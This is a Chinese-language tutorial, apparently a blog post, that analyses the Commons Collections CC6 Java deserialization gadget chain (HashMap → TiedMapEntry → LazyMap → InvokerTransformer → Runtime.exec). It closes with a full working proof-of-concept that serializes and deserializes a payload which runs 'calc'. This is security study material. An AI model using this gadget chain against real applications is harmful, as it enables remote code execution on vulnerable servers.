CC6:
版本要求:
JDK ≤ 8u76
CommonsCollections <= 3.2.1
在cc1中,我们已经知道了AnnotationInvocationHandler类的invoke方法可以触发LazyMap的get方法,但其实TiedMapEntry类的getvalue方法也可以触发。
LazyMap:
我们先来看LazyMap类。

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看到要在key为空的情况下才能调用transform方法。
同时:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
decorat可控,它会调用构造方法,说明map也是可控的。
再来看谁调用了get方法。
TiedMapEntry:

public Object getValue() {
return map.get(key);
}
从这里可以看到,TiedMapEntry类的getValue调用了get方法,且map由公共的构造方法传入,也是可控的。传入LazyMap即可

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
那么再看谁调用了getValue。

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
TiedMapEntry自己的hashCode方法就会调用。
继续跟进
HashMap:

这里可以看到HashMap的hash方法会调用key的hashCode方法。查阅别人的博客知道,这个key可通过put设定,也是可控的。
再看看哪里有对hash的调用:

可以看到这里反序列化就会触发对一个key的hash()。那么我们的构造链也大体完成了。
HashMap.readObject()
HashMap.hash()+
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
不过还有一些细节的地方需要处理。
put提前触发程序:

这个地方用put设定key的时候会提前进行流程。通过翻阅博客我们发现一个思路:先用一个其他的transformer构建,最后再用反射改回来。后面看最终的poc就知道了。
调用get方法参数非空:
之前我们知道,LazyMap的get方法只有在接受的参数为空的时候才会调用transform。可是我们看TiedMapEntry的getValue方法:

这里它传给get一个key,所以我们需要手动将lazy里面的key移除。
poc:
所以最后的poc:
package org.example;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map<Object,Object> lazy = LazyMap.decorate(new HashMap<>(),new ConstantTransformer("a"));
TiedMapEntry tme = new TiedMapEntry(lazy,"b");
HashMap<Object,Object> hp = new HashMap<>();
hp.put(tme,"c");
lazy.remove("b");
Class<LazyMap> lazy2 = LazyMap.class;
Field ft = lazy2.getDeclaredField("factory");
ft.setAccessible(true);
ft.set(lazy,chain);
serialize(hp);
unserialize("test.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}